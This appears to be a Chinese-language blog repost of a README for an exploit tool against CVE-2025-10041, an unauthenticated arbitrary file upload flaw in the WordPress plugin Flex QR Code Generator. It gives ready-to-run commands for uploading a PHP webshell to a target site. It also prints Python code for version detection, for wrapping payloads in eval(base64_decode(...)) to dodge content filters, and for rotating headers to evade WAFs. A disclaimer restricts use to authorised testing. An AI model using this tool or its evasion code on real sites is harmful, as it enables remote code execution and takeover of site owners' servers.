Flex QR Code Generator 漏洞利用工具 CVE-2025-10041

Flex QR Code Generator 漏洞利用工具 (CVE-2025-10041)

本项目是一个专业的安全研究工具,针对 WordPress 插件 Flex QR Code Generator 在版本 1.2.5 及更早版本中存在的严重安全漏洞(CVE-2025-10041)。该漏洞源于 save_qr_code_to_db() 函数缺少对上传文件类型的有效验证,允许未经身份验证的攻击者上传任意文件,从而实现远程代码执行(RCE)。

功能特性

  • 任意文件上传:核心利用功能,支持上传 PHP WebShell 及其他恶意文件。
  • 多重编码绕过
    • 文件名编码 :支持 Base64 和 URL 编码,以绕过基于文件名(如 .php 后缀)的简单过滤。
    • 内容编码 :支持将恶意代码(如 PHP Shell)进行 Base64 编码并包装在 eval(base64_decode(...)) 中,以绕过简单的恶意内容特征检测。
  • 网络层绕过
    • 随机化 HTTP 头:自动轮换 User-Agent、Referer 和 Cookie,以规避基于请求签名的低级 WAF 规则。
    • 自定义请求头支持:允许高级用户添加自定义 HTTP 头,用于应对更复杂的访问控制或绕过场景。
  • 友好的命令行界面:提供完整的参数解析和帮助信息,便于使用和集成。

安装指南

环境要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载项目代码 :将本项目脚本 CVE-2025-10041.py 保存到您的本地工作目录。

  2. 安装依赖:在终端中执行以下命令,安装所需的 Python 库。

    bash 复制代码
    pip install requests

使用说明

基本语法

bash 复制代码
python3 CVE-2025-10041.py -u <目标URL> [选项]

基础用法

1. 基本漏洞利用

检测并尝试上传默认的 shell.php 到目标站点。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com

2. 使用文件名编码

通过 --encode_filename 参数对 WebShell 文件名进行 Base64 或 URL 编码。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --encode_filename base64
python3 CVE-2025-10041.py -u http://target.com --encode_filename url

3. 使用内容编码

通过 --encode_content 参数对 WebShell 内容进行 Base64 编码,以规避内容过滤。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --encode_content base64

4. 指定自定义 Shell 文件名

使用 --shellname 参数自定义上传的 WebShell 文件名。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --shellname myevil.php

5. 组合高级选项

将多个绕过技巧组合使用。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --encode_content base64 --encode_filename base64 --shellname myevil.php

6. 添加自定义请求头

使用 --headers 参数添加一个或多个自定义 HTTP 头。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --headers "X-Forwarded-For: 127.0.0.1" "Cookie: PHPSESSID=1337"

7. 查看完整帮助

bash 复制代码
python3 CVE-2025-10041.py --help

核心代码

漏洞检测模块

python 复制代码
    try:
        resp = requests.get(url, headers=headers, timeout=10)
        if resp.status_code == 200 and "Version: 1.2.5" in resp.text:
            return True
    except Exception:
        pass
    return False

编码绕过模块

该模块提供了文件名和内容的多种编码方式。encode_filename 支持 Base64 和 URL 编码,encode_content 可将 PHP 代码进行 Base64 编码并放入 eval() 中执行,用于绕过简单的黑名单检测。

python 复制代码
def encode_filename(filename, method):
    if method == "base64":
        encoded = base64.urlsafe_b64encode(filename.encode()).decode()
        return encoded.replace("=", "")
    elif method == "url":
        return urllib.parse.quote(filename)
    return filename

def encode_content(content, method):
    if method == "base64":
        encoded = base64.b64encode(content.encode()).decode()
        return f"<?php eval(base64_decode('{encoded}')); ?>"
    return content

HTTP 头随机化模块

为每次请求生成随机化的 HTTP 头,包括 User-Agent、Referer 和 Cookie,以模拟不同客户端行为,绕过简单的 WAF 规则。

python 复制代码
def random_headers(custom_headers=None):
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
        "Mozilla/5.0 (Linux; Android 10)",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)",
        "Mozilla/5.0 (Nxploited)"
    ]
    referers = [
        "https://google.com",
        "https://bing.com",
        "https://facebook.com",
        "https://twitter.com",
        "https://evil.com"
    ]
    headers = {
        "User-Agent": random.choice(user_agents),
        "Accept": "*/*",
        "Connection": "close",
        "Referer": random.choice(referers),
        "Cookie": f"wp_nonce={random.randint(100000,999999)}; test={random.randint(1,9999)}"
    }
    if custom_headers:
        headers.update(custom_headers)
    return headers

⚠️ 免责声明

本工具及其代码仅供教育、科研和获得明确授权的渗透测试 使用。严禁在未经目标系统所有者明确书面授权的情况下使用本工具进行任何形式的攻击或入侵行为。使用者须遵守所在地法律法规,因不当使用本工具而产生的一切后果均由使用者本人承担,作者(Nxploited / Khaled Alenazi)及本项目维护者不承担任何责任。 6HFtX5dABrKlqXeO5PUv/1h8+VvHkOyDf8nSFwj6pWk=

相关推荐
92year2 小时前
MCP 协议最大改版:去掉了 Session,你的 Server 要改 6 个地方
aigc
蝎子莱莱爱打怪3 小时前
AI Agent 相关知识扫盲:16 个概念+11张图+38个开源项目推荐
人工智能·github·agent
甲维斯3 小时前
Fable+Codex 《坦克大战3D》双端发布了!
人工智能·ai编程·游戏开发
掘金一周4 小时前
企业中要做智能体,最佳的方案是什么? | 沸点周刊 6.18
前端·人工智能·ai编程
雪隐4 小时前
个人电脑玩AI-04让5060 Ti给你打工——本地claude code编程助理
人工智能·后端
洛宇4 小时前
再谈 AI 时代,程序员的失眠问题。
人工智能
百度Geek说5 小时前
harness-pilot 给代码库加一套"规则说明书"和"自动检查器"
人工智能
程序员cxuan5 小时前
分享一下我最近常用的 10 个 Codex 小技巧。
人工智能·后端·程序员